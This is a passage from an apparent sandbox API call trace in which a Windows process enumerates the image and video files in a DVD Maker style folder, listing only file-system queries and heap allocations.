(lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.132] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x92c9d8 [0245.132] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x92c9d8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x92c9d8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.132] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x92c9d8) returned 1 [0245.132] NtClose (Handle=0x170) returned 0x0 [0245.132] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.132] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.135] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.135] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.135] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.135] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.135] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d960 [0245.135] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92af10 [0245.135] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d980 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b018 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d9a0 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b120 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb40) returned 0x92c9d8 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927508) returned 1 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.136] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.136] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d9c0 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b228 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d9e0 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b330 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91da00 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b438 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91da20 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b540 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91da40 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b648 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922c18 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b750 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.138] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.138] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922c38 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b858 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922c58 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92b960 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922c78 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92ba68 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.139] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0245.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.139] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922c98 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92bb70 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922cb8 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92bc78 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922cd8 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92bd80 [0245.140] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.140] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0245.140] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922cf8 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92be88 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922d18 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92bf90 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.141] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0245.141] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.141] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 